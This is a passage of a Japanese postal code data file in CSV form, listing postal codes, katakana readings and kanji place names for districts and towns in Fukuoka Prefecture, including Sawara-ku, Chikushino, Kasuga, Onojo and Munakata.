40136,81401,8140141,フクオカケン,フクオカシジョウナンク,ニシカタエ,福岡県,福岡市城南区,西片江,0,0,1,0,0,0 40136,81401,8140153,フクオカケン,フクオカシジョウナンク,ヒイカワ,福岡県,福岡市城南区,樋井川,0,0,1,0,0,0 40136,81401,8140155,フクオカケン,フクオカシジョウナンク,ヒガシアブラヤマ,福岡県,福岡市城南区,東油山,0,0,1,0,0,0 40136,81401,8140104,フクオカケン,フクオカシジョウナンク,ベフ,福岡県,福岡市城南区,別府,0,0,1,0,0,0 40136,81401,8140106,フクオカケン,フクオカシジョウナンク,ベフダンチ,福岡県,福岡市城南区,別府団地,0,0,0,0,0,0 40136,81401,8140132,フクオカケン,フクオカシジョウナンク,ホシクマ,福岡県,福岡市城南区,干隈,0,0,1,0,0,0 40136,81401,8140131,フクオカケン,フクオカシジョウナンク,マツヤマ,福岡県,福岡市城南区,松山,0,0,1,0,0,0 40136,81401,8140143,フクオカケン,フクオカシジョウナンク,ミナミカタエ,福岡県,福岡市城南区,南片江,0,0,1,0,0,0 40136,81401,8140122,フクオカケン,フクオカシジョウナンク,ユウセンテイ,福岡県,福岡市城南区,友泉亭,0,0,0,0,0,0 40137,814,8140000,フクオカケン,フクオカシサワラク,イカニケイサイガナイバアイ,福岡県,福岡市早良区,以下に掲載がない場合,0,0,0,0,0,0 40137,814,8140004,フクオカケン,フクオカシサワラク,アケボノ,福岡県,福岡市早良区,曙,0,0,1,0,0,0 40137,814,8140021,フクオカケン,フクオカシサワラク,アラエ,福岡県,福岡市早良区,荒江,0,0,1,0,0,0 40137,814,8140033,フクオカケン,フクオカシサワラク,アリタ,福岡県,福岡市早良区,有田,0,0,1,0,0,0 40137,814,8140034,フクオカケン,フクオカシサワラク,アリタダンチ,福岡県,福岡市早良区,有田団地,0,0,0,0,0,0 40137,81401,8140161,フクオカケン,フクオカシサワラク,イイクラ,福岡県,福岡市早良区,飯倉,0,0,1,0,0,0 40137,81111,8111134,フクオカケン,フクオカシサワラク,イイバ,福岡県,福岡市早良区,飯場,0,0,0,0,0,0 40137,81111,8111132,フクオカケン,フクオカシサワラク,イシガマ,福岡県,福岡市早良区,石釜,0,0,0,0,0,0 40137,81111,8111113,フクオカケン,フクオカシサワラク,イタヤ,福岡県,福岡市早良区,板屋,0,0,0,0,0,0 40137,81111,8111123,フクオカケン,フクオカシサワラク,ウチノ,福岡県,福岡市早良区,内野,0,0,1,0,0,0 40137,81401,8140172,フクオカケン,フクオカシサワラク,ウメバヤシ,福岡県,福岡市早良区,梅林,0,0,1,0,0,0 40137,81111,8111112,フクオカケン,フクオカシサワラク,オカサギ,福岡県,福岡市早良区,小笠木,0,0,0,0,0,0 40137,81111,8111124,フクオカケン,フクオカシサワラク,カナタケ,福岡県,福岡市早良区,金武,0,0,0,0,0,0 40137,81401,8140164,フクオカケン,フクオカシサワラク,カモ,福岡県,福岡市早良区,賀茂,0,0,1,0,0,0 40137,814,8140032,フクオカケン,フクオカシサワラク,コタベ,福岡県,福岡市早良区,小田部,0,0,1,0,0,0 40137,81111,8111122,フクオカケン,フクオカシサワラク,サワラ,福岡県,福岡市早良区,早良,0,0,1,0,0,0 40137,81111,8111114,フクオカケン,フクオカシサワラク,シイバ,福岡県,福岡市早良区,椎原,0,0,0,0,0,0 40137,81111,8111103,フクオカケン,フクオカシサワラク,シカ,福岡県,福岡市早良区,四箇,0,0,1,0,0,0 40137,81401,8140176,フクオカケン,フクオカシサワラク,シカタダンチ,福岡県,福岡市早良区,四箇田団地,0,0,0,0,0,0 40137,81111,8111101,フクオカケン,フクオカシサワラク,シゲドメ,福岡県,福岡市早良区,重留,0,0,1,0,0,0 40137,814,8140003,フクオカケン,フクオカシサワラク,ジョウセイ,福岡県,福岡市早良区,城西,0,0,1,0,0,0 40137,814,8140012,フクオカケン,フクオカシサワラク,ショウダイ,福岡県,福岡市早良区,昭代,0,0,1,0,0,0 40137,81401,8140165,フクオカケン,フクオカシサワラク,ジロウマル,福岡県,福岡市早良区,次郎丸,0,0,1,0,0,0 40137,814,8140005,フクオカケン,フクオカシサワラク,ソハラ,福岡県,福岡市早良区,祖原,0,0,0,0,0,0 40137,81401,8140177,フクオカケン,フクオカシサワラク,タ,福岡県,福岡市早良区,田,0,0,0,0,0,0 40137,814,8140011,フクオカケン,フクオカシサワラク,タカトリ,福岡県,福岡市早良区,高取,0,0,1,0,0,0 40137,81401,8140174,フクオカケン,フクオカシサワラク,タグマ,福岡県,福岡市早良区,田隈,0,0,1,0,0,0 40137,81401,8140175,フクオカケン,フクオカシサワラク,タムラ,福岡県,福岡市早良区,田村,0,0,1,0,0,0 40137,81111,8111131,フクオカケン,フクオカシサワラク,ニシ,福岡県,福岡市早良区,西,0,0,0,0,0,0 40137,81401,8140173,フクオカケン,フクオカシサワラク,ニシアブラヤマ,福岡県,福岡市早良区,西油山,0,0,0,0,0,0 40137,81111,8111121,フクオカケン,フクオカシサワラク,ニシイルベ,福岡県,福岡市早良区,西入部,0,0,1,0,0,0 40137,814,8140002,フクオカケン,フクオカシサワラク,ニシジン,福岡県,福岡市早良区,西新,0,0,1,0,0,0 40137,81401,8140171,フクオカケン,フクオカシサワラク,ノケ,福岡県,福岡市早良区,野芥,0,0,1,0,0,0 40137,814,8140022,フクオカケン,フクオカシサワラク,ハラ,福岡県,福岡市早良区,原,0,0,1,0,0,0 40137,814,8140023,フクオカケン,フクオカシサワラク,ハラダンチ,福岡県,福岡市早良区,原団地,0,0,0,0,0,0 40137,81111,8111102,フクオカケン,フクオカシサワラク,ヒガシイルベ,福岡県,福岡市早良区,東入部,0,0,1,0,0,0 40137,814,8140013,フクオカケン,フクオカシサワラク,フジサキ,福岡県,福岡市早良区,藤崎,0,0,1,0,0,0 40137,81401,8140163,フクオカケン,フクオカシサワラク,ホシクマ,福岡県,福岡市早良区,干隈,0,0,1,0,0,0 40137,81401,8140162,フクオカケン,フクオカシサワラク,ホシノハラダンチ,福岡県,福岡市早良区,星の原団地,0,0,0,0,0,0 40137,81111,8111133,フクオカケン,フクオカシサワラク,マガリブチ,福岡県,福岡市早良区,曲渕,0,0,0,0,0,0 40137,814,8140031,フクオカケン,フクオカシサワラク,ミナミショウ,福岡県,福岡市早良区,南庄,0,0,1,0,0,0 40137,814,8140035,フクオカケン,フクオカシサワラク,ムロズミダンチ,福岡県,福岡市早良区,室住団地,0,0,0,0,0,0 40137,814,8140015,フクオカケン,フクオカシサワラク,ムロミ,福岡県,福岡市早良区,室見,0,0,1,0,0,0 40137,814,8140006,フクオカケン,フクオカシサワラク,モモチ,福岡県,福岡市早良区,百道,0,0,1,0,0,0 40137,814,8140001,フクオカケン,フクオカシサワラク,モモチハマ,福岡県,福岡市早良区,百道浜,0,0,1,0,0,0 40137,814,8140014,フクオカケン,フクオカシサワラク,ヤヨイ,福岡県,福岡市早良区,弥生,0,0,1,0,0,0 40137,81111,8111111,フクオカケン,フクオカシサワラク,ワキヤマ,福岡県,福岡市早良区,脇山,0,0,1,0,0,0 40217,818,8180000,フクオカケン,チクシノシ,イカニケイサイガナイバアイ,福岡県,筑紫野市,以下に掲載がない場合,0,0,0,0,0,0 40217,818,8180011,フクオカケン,チクシノシ,アシキ,福岡県,筑紫野市,阿志岐,0,0,0,0,0,0 40217,818,8180012,フクオカケン,チクシノシ,アマヤマ,福岡県,筑紫野市,天山,0,0,0,0,0,0 40217,818,8180068,フクオカケン,チクシノシ,イシザキ,福岡県,筑紫野市,石崎,0,0,1,0,0,0 40217,818,8180014,フクオカケン,チクシノシ,ウシジマ,福岡県,筑紫野市,牛島,0,0,0,0,0,0 40217,818,8180034,フクオカケン,チクシノシ,ウツクシガオカミナミ,福岡県,筑紫野市,美しが丘南,0,0,1,0,0,0 40217,818,8180035,フクオカケン,チクシノシ,ウツクシガオカキタ,福岡県,筑紫野市,美しが丘北,0,0,1,0,0,0 40217,818,8180033,フクオカケン,チクシノシ,ウマイチ,福岡県,筑紫野市,馬市,0,0,0,0,0,0 40217,818,8180006,フクオカケン,チクシノシ,オオイシ,福岡県,筑紫野市,大石,0,0,0,0,0,0 40217,818,8180013,フクオカケン,チクシノシ,オカダ,福岡県,筑紫野市,岡田,0,0,1,0,0,0 40217,818,8180041,フクオカケン,チクシノシ,カミコガ,福岡県,筑紫野市,上古賀,0,0,1,0,0,0 40217,818,8180031,フクオカケン,チクシノシ,クマ,福岡県,筑紫野市,隈,0,0,0,0,0,0 40217,818,8180002,フクオカケン,チクシノシ,コウゾノ,福岡県,筑紫野市,香園,0,0,0,0,0,0 40217,818,8180047,フクオカケン,チクシノシ,コガ,福岡県,筑紫野市,古賀,0,0,0,0,0,0 40217,818,8180063,フクオカケン,チクシノシ,サクラダイ,福岡県,筑紫野市,桜台,0,0,1,0,0,0 40217,818,8180021,フクオカケン,チクシノシ,シタミ,福岡県,筑紫野市,下見,0,0,0,0,0,0 40217,818,8180054,フクオカケン,チクシノシ,スギヅカ,福岡県,筑紫野市,杉塚,0,0,1,0,0,0 40217,818,8180067,フクオカケン,チクシノシ,ゾクミョウイン,福岡県,筑紫野市,俗明院,0,0,1,0,0,0 40217,818,8180025,フクオカケン,チクシノシ,チクシ,福岡県,筑紫野市,筑紫,0,0,0,0,0,0 40217,818,8180022,フクオカケン,チクシノシ,チクシエキマエドオリ,福岡県,筑紫野市,筑紫駅前通,0,0,1,0,0,0 40217,818,8180064,フクオカケン,チクシノシ,ツネマツ,福岡県,筑紫野市,常松,0,0,0,0,0,0 40217,818,8180053,フクオカケン,チクシノシ,テンパイザカ,福岡県,筑紫野市,天拝坂,0,0,1,0,0,0 40217,818,8180055,フクオカケン,チクシノシ,トウノハル,福岡県,筑紫野市,塔原,0,0,0,0,0,0 40217,818,8180059,フクオカケン,チクシノシ,トウノハルヒガシ,福岡県,筑紫野市,塔原東,0,0,1,0,0,0 40217,818,8180073,フクオカケン,チクシノシ,トウノハルニシ,福岡県,筑紫野市,塔原西,0,0,1,0,0,0 40217,818,8180074,フクオカケン,チクシノシ,トウノハルミナミ,福岡県,筑紫野市,塔原南,0,0,1,0,0,0 40217,818,8180066,フクオカケン,チクシノシ,ナガオカ,福岡県,筑紫野市,永岡,0,0,0,0,0,0 40217,818,8180032,フクオカケン,チクシノシ,ニシオダ,福岡県,筑紫野市,西小田,0,0,0,0,0,0 40217,818,8180044,フクオカケン,チクシノシ,ハギワラ,福岡県,筑紫野市,萩原,0,0,0,0,0,0 40217,818,8180062,フクオカケン,チクシノシ,ハリスリ,福岡県,筑紫野市,針摺,0,0,0,0,0,0 40217,818,8180085,フクオカケン,チクシノシ,ハリスリキタ,福岡県,筑紫野市,針摺北,0,0,1,0,0,0 40217,818,8180083,フクオカケン,チクシノシ,ハリスリチュウオウ,福岡県,筑紫野市,針摺中央,0,0,1,0,0,0 40217,818,8180084,フクオカケン,チクシノシ,ハリスリニシ,福岡県,筑紫野市,針摺西,0,0,1,0,0,0 40217,818,8180081,フクオカケン,チクシノシ,ハリスリヒガシ,福岡県,筑紫野市,針摺東,0,0,1,0,0,0 40217,818,8180082,フクオカケン,チクシノシ,ハリスリミナミ,福岡県,筑紫野市,針摺南,0,0,1,0,0,0 40217,818,8180005,フクオカケン,チクシノシ,ハル,福岡県,筑紫野市,原,0,0,0,0,0,0 40217,818,8180024,フクオカケン,チクシノシ,ハルダ,福岡県,筑紫野市,原田,0,0,1,0,0,0 40217,818,8180036,フクオカケン,チクシノシ,ヒカリガオカ,福岡県,筑紫野市,光が丘,0,0,1,0,0,0 40217,818,8180045,フクオカケン,チクシノシ,ビョウドウジ,福岡県,筑紫野市,平等寺,0,0,0,0,0,0 40217,818,8180051,フクオカケン,チクシノシ,フツカイチ,福岡県,筑紫野市,二日市,0,0,0,0,0,0 40217,818,8180056,フクオカケン,チクシノシ,フツカイチキタ,福岡県,筑紫野市,二日市北,0,0,1,0,0,0 40217,818,8180072,フクオカケン,チクシノシ,フツカイチチュウオウ,福岡県,筑紫野市,二日市中央,0,0,1,0,0,0 40217,818,8180071,フクオカケン,チクシノシ,フツカイチニシ,福岡県,筑紫野市,二日市西,0,0,1,0,0,0 40217,818,8180057,フクオカケン,チクシノシ,フツカイチミナミ,福岡県,筑紫野市,二日市南,0,0,1,0,0,0 40217,818,8180007,フクオカケン,チクシノシ,ホンドウジ,福岡県,筑紫野市,本道寺,0,0,0,0,0,0 40217,818,8180026,フクオカケン,チクシノシ,ミサキ,福岡県,筑紫野市,美咲,0,0,0,0,0,0 40217,818,8180052,フクオカケン,チクシノシ,ムサシ,福岡県,筑紫野市,武藏,0,0,1,0,0,0 40217,818,8180043,フクオカケン,チクシノシ,ムサシガオカ,福岡県,筑紫野市,むさしケ丘,0,0,1,0,0,0 40217,818,8180061,フクオカケン,チクシノシ,ムラサキ,福岡県,筑紫野市,紫,0,0,1,0,0,0 40217,818,8180065,フクオカケン,チクシノシ,モロタ,福岡県,筑紫野市,諸田,0,0,0,0,0,0 40217,818,8180003,フクオカケン,チクシノシ,ヤマエ,福岡県,筑紫野市,山家,0,0,0,0,0,0 40217,818,8180046,フクオカケン,チクシノシ,ヤマグチ,福岡県,筑紫野市,山口,0,0,0,0,0,0 40217,818,8180001,フクオカケン,チクシノシ,ユスバル,福岡県,筑紫野市,柚須原,0,0,0,0,0,0 40217,818,8180058,フクオカケン,チクシノシ,ユマチ,福岡県,筑紫野市,湯町,0,0,1,0,0,0 40217,818,8180004,フクオカケン,チクシノシ,ヨシキ,福岡県,筑紫野市,吉木,0,0,0,0,0,0 40217,818,8180042,フクオカケン,チクシノシ,リュウミョウジ,福岡県,筑紫野市,立明寺,0,0,0,0,0,0 40217,818,8180023,フクオカケン,チクシノシ,ワカエ,福岡県,筑紫野市,若江,0,0,0,0,0,0 40218,816,8160000,フクオカケン,カスガシ,イカニケイサイガナイバアイ,福岡県,春日市,以下に掲載がない場合,0,0,0,1,0,0 40218,816,8160853,フクオカケン,カスガシ,イズミ,福岡県,春日市,泉,0,0,1,0,0,0 40218,816,8160852,フクオカケン,カスガシ,イチノタニ,福岡県,春日市,一の谷,0,0,1,0,0,0 40218,816,8160831,フクオカケン,カスガシ,オオタニ,福岡県,春日市,大谷,0,0,1,0,0,0 40218,816,8160847,フクオカケン,カスガシ,オオドイ,福岡県,春日市,大土居,0,0,1,0,0,0 40218,816,8160861,フクオカケン,カスガシ,オカモト,福岡県,春日市,岡本,0,0,1,0,0,0 40218,816,8160814,フクオカケン,カスガシ,カスガ,福岡県,春日市,春日,0,0,1,0,0,0 40218,816,8160811,フクオカケン,カスガシ,カスガコウエン,福岡県,春日市,春日公園,0,0,1,0,0,0 40218,816,8160801,フクオカケン,カスガシ,カスガバルヒガシマチ,福岡県,春日市,春日原東町,0,0,1,0,0,0 40218,816,8160803,フクオカケン,カスガシ,カスガバルミナミマチ,福岡県,春日市,春日原南町,0,0,1,0,0,0 40218,816,8160802,フクオカケン,カスガシ,カスガバルキタマチ,福岡県,春日市,春日原北町,0,0,1,0,0,0 40218,816,8160844,フクオカケン,カスガシ,カミシロウズ,福岡県,春日市,上白水,0,0,1,0,0,0 40218,816,8160824,フクオカケン,カスガシ,コクラ,福岡県,春日市,小倉,0,0,1,0,0,0 40218,816,8160826,フクオカケン,カスガシ,コクラヒガシ,福岡県,春日市,小倉東,0,0,1,0,0,0 40218,816,8160872,フクオカケン,カスガシ,サクラガオカ,福岡県,春日市,桜ケ丘,0,0,1,0,0,0 40218,816,8160842,フクオカケン,カスガシ,シモシロウズ,福岡県,春日市,下白水,0,0,0,0,0,0 40218,816,8160854,フクオカケン,カスガシ,シモシロウズキタ,福岡県,春日市,下白水北,0,0,1,0,0,0 40218,816,8160846,フクオカケン,カスガシ,シモシロウズミナミ,福岡県,春日市,下白水南,0,0,1,0,0,0 40218,816,8160848,フクオカケン,カスガシ,シロウズイケ,福岡県,春日市,白水池,0,0,1,0,0,0 40218,816,8160845,フクオカケン,カスガシ,シロウズガオカ,福岡県,春日市,白水ケ丘,0,0,1,0,0,0 40218,816,8160871,フクオカケン,カスガシ,スグ,福岡県,春日市,須玖,0,0,0,0,0,0 40218,816,8160863,フクオカケン,カスガシ,スグミナミ,福岡県,春日市,須玖南,0,0,1,0,0,0 40218,816,8160864,フクオカケン,カスガシ,スグキタ,福岡県,春日市,須玖北,0,0,1,0,0,0 40218,816,8160813,フクオカケン,カスガシ,ソウリ,福岡県,春日市,惣利,0,0,1,0,0,0 40218,816,8160807,フクオカケン,カスガシ,タカラマチ,福岡県,春日市,宝町,0,0,1,0,0,0 40218,816,8160822,フクオカケン,カスガシ,チクシダイ,福岡県,春日市,ちくし台,0,0,1,0,0,0 40218,816,8160805,フクオカケン,カスガシ,チトセマチ,福岡県,春日市,千歳町,0,0,1,0,0,0 40218,816,8160841,フクオカケン,カスガシ,ツカハラダイ,福岡県,春日市,塚原台,0,0,1,0,0,0 40218,816,8160855,フクオカケン,カスガシ,テンジンヤマ,福岡県,春日市,天神山,0,0,1,0,0,0 40218,816,8160851,フクオカケン,カスガシ,ノボリマチ,福岡県,春日市,昇町,0,0,1,0,0,0 40218,816,8160825,フクオカケン,カスガシ,ハクゲンチョウ,福岡県,春日市,伯玄町,0,0,1,0,0,0 40218,816,8160804,フクオカケン,カスガシ,ハラマチ,福岡県,春日市,原町,0,0,1,0,0,0 40218,816,8160806,フクオカケン,カスガシ,ヒカリマチ,福岡県,春日市,光町,0,0,1,0,0,0 40218,816,8160873,フクオカケン,カスガシ,ヒノデマチ,福岡県,春日市,日の出町,0,0,1,0,0,0 40218,816,8160812,フクオカケン,カスガシ,ヒラタダイ,福岡県,春日市,平田台,0,0,1,0,0,0 40218,816,8160849,フクオカケン,カスガシ,ホシミガオカ,福岡県,春日市,星見ヶ丘,0,0,1,0,0,0 40218,816,8160843,フクオカケン,カスガシ,マツガオカ,福岡県,春日市,松ケ丘,0,0,1,0,0,0 40218,816,8160833,フクオカケン,カスガシ,モミジガオカヒガシ,福岡県,春日市,紅葉ケ丘東,0,0,1,0,0,0 40218,816,8160832,フクオカケン,カスガシ,モミジガオカニシ,福岡県,春日市,紅葉ケ丘西,0,0,1,0,0,0 40218,816,8160874,フクオカケン,カスガシ,ヤマトマチ,福岡県,春日市,大和町,0,0,1,0,0,0 40218,816,8160862,フクオカケン,カスガシ,ヤヨイ,福岡県,春日市,弥生,0,0,1,0,0,0 40218,816,8160821,フクオカケン,カスガシ,ワカバダイヒガシ,福岡県,春日市,若葉台東,0,0,1,0,0,0 40218,816,8160823,フクオカケン,カスガシ,ワカバダイニシ,福岡県,春日市,若葉台西,0,0,1,0,0,0 40219,816,8160000,フクオカケン,オオノジョウシ,イカニケイサイガナイバアイ,福岡県,大野城市,以下に掲載がない場合,0,0,0,1,0,0 40219,816,8160934,フクオカケン,オオノジョウシ,アケボノマチ,福岡県,大野城市,曙町,0,0,1,0,0,0 40219,816,8160953,フクオカケン,オオノジョウシ,アサヒガオカ,福岡県,大野城市,旭ケ丘,0,0,1,0,0,0 40219,816,8160971,フクオカケン,オオノジョウシ,ウシクビ,福岡県,大野城市,牛頸,0,0,1,0,0,0 40219,816,8160904,フクオカケン,オオノジョウシ,オオイケ,福岡県,大野城市,大池,0,0,1,0,0,0 40219,816,8160911,フクオカケン,オオノジョウシ,オオキ,福岡県,大野城市,大城,0,0,1,0,0,0 40219,816,8160902,フクオカケン,オオノジョウシ,オトガナ,福岡県,大野城市,乙金,0,0,1,0,0,0 40219,816,8160903,フクオカケン,オオノジョウシ,オトガナダイ,福岡県,大野城市,乙金台,0,0,1,0,0,0 40219,816,8160901,フクオカケン,オオノジョウシ,オトガナヒガシ,福岡県,大野城市,乙金東,0,0,1,0,0,0 40219,816,8160955,フクオカケン,オオノジョウシ,カミオオリ,福岡県,大野城市,上大利,0,0,1,0,0,0 40219,816,8160905,フクオカケン,オオノジョウシ,カワクボ,福岡県,大野城市,川久保,0,0,1,0,0,0 40219,816,8160932,フクオカケン,オオノジョウシ,カワラダ,福岡県,大野城市,瓦田,0,0,1,0,0,0 40219,816,8160924,フクオカケン,オオノジョウシ,サカエマチ,福岡県,大野城市,栄町,0,0,1,0,0,0 40219,816,8160923,フクオカケン,オオノジョウシ,ザツショノクママチ,福岡県,大野城市,雑餉隈町,0,0,1,0,0,0 40219,816,8160952,フクオカケン,オオノジョウシ,シモオオリ,福岡県,大野城市,下大利,0,0,1,0,0,0 40219,816,8160951,フクオカケン,オオノジョウシ,シモオオリダンチ,福岡県,大野城市,下大利団地,0,0,0,0,0,0 40219,816,8160943,フクオカケン,オオノジョウシ,シラキバル,福岡県,大野城市,白木原,0,0,1,0,0,0 40219,816,8160942,フクオカケン,オオノジョウシ,チュウオウ,福岡県,大野城市,中央,0,0,1,0,0,0 40219,816,8160983,フクオカケン,オオノジョウシ,ツキノウラ,福岡県,大野城市,月の浦,0,0,1,0,0,0 40219,816,8160931,フクオカケン,オオノジョウシ,ツツイ,福岡県,大野城市,筒井,0,0,1,0,0,0 40219,816,8160962,フクオカケン,オオノジョウシ,ツツジガオカ,福岡県,大野城市,つつじケ丘,0,0,1,0,0,0 40219,816,8160906,フクオカケン,オオノジョウシ,ナカ,福岡県,大野城市,中,0,0,1,0,0,0 40219,816,8160921,フクオカケン,オオノジョウシ,ナカハタ,福岡県,大野城市,仲畑,0,0,1,0,0,0 40219,816,8160935,フクオカケン,オオノジョウシ,ニシキマチ,福岡県,大野城市,錦町,0,0,1,0,0,0 40219,816,8160982,フクオカケン,オオノジョウシ,ハタガサカ,福岡県,大野城市,畑ケ坂,0,0,1,0,0,0 40219,816,8160941,フクオカケン,オオノジョウシ,ヒガシオオリ,福岡県,大野城市,東大利,0,0,1,0,0,0 40219,816,8160972,フクオカケン,オオノジョウシ,ヒラノダイ,福岡県,大野城市,平野台,0,0,1,0,0,0 40219,816,8160912,フクオカケン,オオノジョウシ,ミカサガワ,福岡県,大野城市,御笠川,0,0,1,0,0,0 40219,816,8160933,フクオカケン,オオノジョウシ,ミズホマチ,福岡県,大野城市,瑞穂町,0,0,1,0,0,0 40219,816,8160961,フクオカケン,オオノジョウシ,ミドリガオカ,福岡県,大野城市,緑ケ丘,0,0,1,0,0,0 40219,816,8160956,フクオカケン,オオノジョウシ,ミナミオオリ,福岡県,大野城市,南大利,0,0,1,0,0,0 40219,816,8160964,フクオカケン,オオノジョウシ,ミナミガオカ,福岡県,大野城市,南ケ丘,0,0,1,0,0,0 40219,816,8160963,フクオカケン,オオノジョウシ,ミヤノダイ,福岡県,大野城市,宮野台,0,0,0,0,0,0 40219,816,8160954,フクオカケン,オオノジョウシ,ムラサキダイ,福岡県,大野城市,紫台,0,0,0,0,0,0 40219,816,8160922,フクオカケン,オオノジョウシ,ヤマダ,福岡県,大野城市,山田,0,0,1,0,0,0 40219,816,8160973,フクオカケン,オオノジョウシ,ヨコミネ,福岡県,大野城市,横峰,0,0,1,0,0,0 40219,816,8160981,フクオカケン,オオノジョウシ,ワカクサ,福岡県,大野城市,若草,0,0,1,0,0,0 40220,81134,8113400,フクオカケン,ムナカタシ,イカニケイサイガナイバアイ,福岡県,宗像市,以下に掲載がない場合,0,0,0,0,0,0 40220,81141,8114162,フクオカケン,ムナカタシ,アオバダイ,福岡県,宗像市,青葉台,0,0,1,0,0,0 40220,81141,8114146,フクオカケン,ムナカタシ,アカマ,福岡県,宗像市,赤間,0,0,1,0,0,0 40220,81141,8114185,フクオカケン,ムナカタシ,アカマエキマエ,福岡県,宗像市,赤間駅前,0,0,1,0,0,0 40220,81141,8114176,フクオカケン,ムナカタシ,アカマガオカ,福岡県,宗像市,赤間ケ丘,0,0,0,0,0,0 40220,81141,8114148,フクオカケン,ムナカタシ,アカマブンキョウマチ,福岡県,宗像市,赤間文教町,0,0,0,0,0,0 40220,81134,8113415,フクオカケン,ムナカタシ,アサノ,福岡県,宗像市,朝野,0,0,0,0,0,0 40220,81141,8114161,フクオカケン,ムナカタシ,アサマチ,福岡県,宗像市,朝町,0,0,0,0,0,0 40220,81141,8114157,フクオカケン,ムナカタシ,アスティ,福岡県,宗像市,アスティ,0,0,1,0,0,0 40220,81134,8113401,フクオカケン,ムナカタシ,イケウラ,福岡県,宗像市,池浦,0,0,0,0,0,0 40220,81135,8113515,フクオカケン,ムナカタシ,イケダ,福岡県,宗像市,池田,0,0,0,0,0,0 40220,81141,8114147,フクオカケン,ムナカタシ,イシマル,福岡県,宗像市,石丸,0,0,1,0,0,0 40220,81141,8114142,フクオカケン,ムナカタシ,イズミガオカ,福岡県,宗像市,泉ケ丘,0,0,1,0,0,0 40220,81134,8113406,フクオカケン,ムナカタシ,イナモト,福岡県,宗像市,稲元,0,0,1,0,0,0 40220,81135,8113502,フクオカケン,ムナカタシ,エグチ,福岡県,宗像市,江口,0,0,0,0,0,0 40220,81141,8114177,フクオカケン,ムナカタシ,オウビダイ,福岡県,宗像市,桜美台,0,0,0,0,0,0 40220,81134,8113422,フクオカケン,ムナカタシ,オウマル,福岡県,宗像市,王丸,0,0,0,0,0,0 40220,81134,8113432,フクオカケン,ムナカタシ,オオイ,福岡県,宗像市,大井,0,0,0,0,0,0 40220,81134,8113433,フクオカケン,ムナカタシ,オオイダイ,福岡県,宗像市,大井台,0,0,0,0,0,0 40220,81134,8113440,フクオカケン,ムナカタシ,オオイミナミ,福岡県,宗像市,大井南,0,0,0,0,0,0 40220,81137,8113701,フクオカケン,ムナカタシ,オオシマ,福岡県,宗像市,大島,0,0,0,0,0,0 40220,81141,8114141,フクオカケン,ムナカタシ,オオタニ,福岡県,宗像市,大谷,0,0,0,0,0,0 40220,81134,8113421,フクオカケン,ムナカタシ,オオブ,福岡県,宗像市,大穂,0,0,0,0,0,0 40220,81134,8113402,フクオカケン,ムナカタシ,カトウ,福岡県,宗像市,河東,0,0,0,0,0,0 40220,81135,8113512,フクオカケン,ムナカタシ,カネザキ,福岡県,宗像市,鐘崎,0,0,0,0,0,0 40220,81134,8113437,フクオカケン,ムナカタシ,クバラ,福岡県,宗像市,久原,0,0,0,0,0,0 40220,81141,8114184,フクオカケン,ムナカタシ,クリエイト,福岡県,宗像市,くりえいと,0,0,1,0,0,0 40220,81135,8113516,フクオカケン,ムナカタシ,コウエンドオリ,福岡県,宗像市,公園通り,0,0,1,0,0,0 40220,81135,8113513,フクオカケン,ムナカタシ,コウジョウ,福岡県,宗像市,上八,0,0,0,0,0,0 40220,81135,8113501,フクオカケン,ムナカタシ,コウノミナト,福岡県,宗像市,神湊,0,0,0,0,0,0 40220,81141,8114165,フクオカケン,ムナカタシ,コウリョウダイ,福岡県,宗像市,広陵台,0,0,1,0,0,0 40220,81141,8114173,フクオカケン,ムナカタシ,サカエマチ,福岡県,宗像市,栄町,0,0,0,0,0,0 40220,81141,8114166,フクオカケン,ムナカタシ,サクラ,福岡県,宗像市,桜,0,0,1,0,0,0 40220,81141,8114143,フクオカケン,ムナカタシ,サブロウマル,福岡県,宗像市,三郎丸,0,0,1,0,0,0 40220,81135,8113511,フクオカケン,ムナカタシ,ジノシマ,福岡県,宗像市,地島,0,0,0,0,0,0 40220,81141,8114163,フクオカケン,ムナカタシ,ジユウガオカ,福岡県,宗像市,自由ケ丘,0,0,1,0,0,0 40220,81141,8114174,フクオカケン,ムナカタシ,ジユウガオカニシマチ,福岡県,宗像市,自由ケ丘西町,0,0,0,0,0,0 40220,81141,8114156,フクオカケン,ムナカタシ,ジユウガオカミナミ,福岡県,宗像市,自由ケ丘南,0,0,1,0,0,0 40220,81141,8114182,フクオカケン,ムナカタシ,ジョウガタニ,福岡県,宗像市,城ケ谷,0,0,0,0,0,0 40220,81134,8113404,フクオカケン,ムナカタシ,ジョウセイガオカ,福岡県,宗像市,城西ケ丘,0,0,1,0,0,0 40220,81141,8114151,フクオカケン,ムナカタシ,ジョウナンガオカ,福岡県,宗像市,城南ケ丘,0,0,0,0,0,0 40220,81141,8114181,フクオカケン,ムナカタシ,ジョウヤマニュータウン,福岡県,宗像市,城山ニュータウン,0,0,0,0,0,0 40220,81134,8113408,フクオカケン,ムナカタシ,ショウヨウダイ,福岡県,宗像市,樟陽台,0,0,1,0,0,0 40220,81134,8113405,フクオカケン,ムナカタシ,スエ,福岡県,宗像市,須恵,0,0,1,0,0,0 40220,81141,8114175,フクオカケン,ムナカタシ,タク,福岡県,宗像市,田久,0,0,1,0,0,0 40220,81134,8113431,フクオカケン,ムナカタシ,タグマ,福岡県,宗像市,田熊,0,0,1,0,0,0 40220,81141,8114152,フクオカケン,ムナカタシ,タケマル,福岡県,宗像市,武丸,0,0,0,0,0,0 40220,81135,8113505,フクオカケン,ムナカタシ,タシマ,福岡県,宗像市,田島,0,0,0,0,0,0 40220,81135,8113514,フクオカケン,ムナカタシ,タノ,福岡県,宗像市,田野,0,0,0,0,0,0 40220,81135,8113507,フクオカケン,ムナカタシ,タレ,福岡県,宗像市,多禮,0,0,0,0,0,0 40220,81141,8114183,フクオカケン,ムナカタシ,ツチアナ,福岡県,宗像市,土穴,0,0,1,0,0,0 40220,81134,8113407,フクオカケン,ムナカタシ,テンピョウダイ,福岡県,宗像市,天平台,0,0,0,0,0,0 40220,81134,8113436,フクオカケン,ムナカタシ,トウゴウ,福岡県,宗像市,東郷,0,0,0,0,0,0 40220,81141,8114164,フクオカケン,ムナカタシ,トクシゲ,福岡県,宗像市,徳重,0,0,1,0,0,0 40220,81141,8114155,フクオカケン,ムナカタシ,ナゴリ,福岡県,宗像市,名残,0,0,1,0,0,0 40220,81134,8113423,フクオカケン,ムナカタシ,ノサカ,福岡県,宗像市,野坂,0,0,0,0,0,0 40220,81141,8114171,フクオカケン,ムナカタシ,ハヤマ,福岡県,宗像市,葉山,0,0,1,0,0,0 40220,81134,8113424,フクオカケン,ムナカタシ,ハルマチ,福岡県,宗像市,原町,0,0,0,0,0,0 